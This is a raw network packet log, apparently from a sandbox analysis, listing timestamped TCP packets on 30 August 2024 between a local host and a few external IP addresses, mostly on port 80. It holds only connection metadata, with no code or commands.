Aug 30, 2024 06:17:03.630940914 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.630985022 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.631107092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.631119967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.631150961 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.631164074 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.631171942 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.631182909 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.631211996 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.631330013 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.631371021 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.631474972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.631519079 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.631570101 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.631582022 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.631618023 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.631683111 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.631692886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.631702900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.631712914 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.631724119 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.631727934 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.631736040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.631747007 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.631750107 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.631769896 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.631783009 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.632178068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.632198095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.632209063 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.632220030 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.632242918 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.632327080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.632338047 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.632347107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.632359982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.632375002 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.632384062 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.632406950 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.632414103 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.632424116 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.632435083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.632446051 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.632447004 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.632464886 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.632477999 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.633088112 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.633111000 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.633121967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.633135080 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.633155107 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.633224964 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.633235931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.633244991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.633256912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.633270979 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.633285046 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.633657932 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.633670092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.633678913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.633704901 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.633714914 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.633753061 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.633764982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.633774042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.633785963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.633796930 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.633825064 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.633848906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.633860111 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.633868933 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.633882046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.633894920 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.633910894 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.634412050 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.634421110 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.634473085 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.634552002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.634599924 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.634604931 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.634610891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.634634972 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.634654999 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.634666920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.634677887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.634686947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.634701014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.634708881 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.634732962 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.634761095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.634772062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.634777069 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.634810925 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.634823084 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.636991978 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.637001991 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.637012005 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.637037039 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.637047052 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.637048006 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.637058973 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.637068987 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.637084007 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.637096882 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.637105942 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.637125015 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.637128115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.637151957 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.637162924 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.637469053 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.637480021 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.637490034 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.637517929 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.637537003 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.637543917 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.637547970 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.637561083 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.637572050 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.637577057 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.637605906 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.637646914 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.637656927 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.637666941 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.637679100 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.637695074 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.637732029 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.637732029 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.637753010 CEST	80	49734	194.58.114.223	192.168.2.4
Aug 30, 2024 06:17:03.637763023 CEST	80	49734	194.58.114.223	192.168.2.4
Aug 30, 2024 06:17:03.637801886 CEST	49734	80	192.168.2.4	194.58.114.223
Aug 30, 2024 06:17:03.638240099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.638250113 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.638262033 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.638273001 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.638298035 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.638319969 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.638325930 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.638333082 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.638343096 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.638377905 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:03.638392925 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.638412952 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:03.638418913 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.638428926 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.638438940 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.638456106 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.638465881 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.638479948 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:03.638480902 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.638514042 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.638699055 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:03.638715982 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:03.639115095 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.639166117 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.639178038 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.639178038 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.639199972 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.639220953 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.639224052 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.639234066 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.639244080 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.639255047 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.639266968 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.639277935 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.639303923 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.639354944 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.639364958 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.639374971 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.639385939 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.639401913 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.639451027 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.640120983 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.640131950 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.640141964 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.640171051 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.640192986 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.640247107 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.640258074 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.640273094 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.640285015 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.640295982 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.640304089 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.640315056 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.640322924 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.640327930 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.640338898 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.640348911 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.640350103 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.640372992 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.640408993 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.690797091 CEST	443	49740	76.76.21.123	192.168.2.4
Aug 30, 2024 06:17:03.690855980 CEST	49740	443	192.168.2.4	76.76.21.123
Aug 30, 2024 06:17:03.690887928 CEST	443	49740	76.76.21.123	192.168.2.4
Aug 30, 2024 06:17:03.690905094 CEST	443	49740	76.76.21.123	192.168.2.4
Aug 30, 2024 06:17:03.690932035 CEST	49740	443	192.168.2.4	76.76.21.123
Aug 30, 2024 06:17:03.690948009 CEST	49740	443	192.168.2.4	76.76.21.123
Aug 30, 2024 06:17:03.691132069 CEST	49740	443	192.168.2.4	76.76.21.123
Aug 30, 2024 06:17:03.691147089 CEST	443	49740	76.76.21.123	192.168.2.4
Aug 30, 2024 06:17:03.719031096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.719042063 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.719094038 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.724776030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.724785089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.724795103 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.724805117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.724824905 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.724853992 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.724973917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.725016117 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.725044012 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.725058079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.725090027 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.725106001 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.725115061 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.725125074 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.725136042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.725148916 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.725157976 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.725183010 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.725321054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.725331068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.725339890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.725352049 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.725361109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.725362062 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.725380898 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.725402117 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.725462914 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.725502014 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.725507975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.725518942 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.725542068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.725547075 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.725553036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.725564957 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.725569010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.725580931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.725589991 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.725608110 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.725624084 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.725680113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.725689888 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.725723028 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.725972891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.725981951 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.725991964 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.726016045 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.726031065 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.726047993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.726058960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.726068020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.726078033 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.726084948 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.726090908 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.726109028 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.726171017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.726181030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.726188898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.726200104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.726217031 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.726227045 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.726247072 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.726457119 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.731208086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.731370926 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.731383085 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.731410027 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.731411934 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.731421947 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.731443882 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.731467962 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.731477022 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.731502056 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.731515884 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.731569052 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.731595993 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.731606007 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.731610060 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.731628895 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.731642008 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.731692076 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.731700897 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.731709957 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.731720924 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.731731892 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.731744051 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.731762886 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.731787920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.731797934 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.731806993 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.731827021 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.731838942 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.732295990 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.732306004 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.732315063 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.732342005 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.732355118 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.732362986 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.732372999 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.732383013 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.732397079 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.732409000 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.732431889 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.732450962 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.732461929 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.732470036 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.732485056 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.732512951 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.732527018 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.732527018 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.732546091 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.732554913 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.732563972 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.732574940 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.732598066 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.732615948 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.732615948 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.733144045 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.733187914 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.733202934 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.733211994 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.733226061 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.733239889 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.733259916 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.733274937 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.733289003 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.733299017 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.733309031 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.733316898 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.733335018 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.733344078 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.733361959 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.733372927 CEST	80	49735	147.45.44.104	192.168.2.4
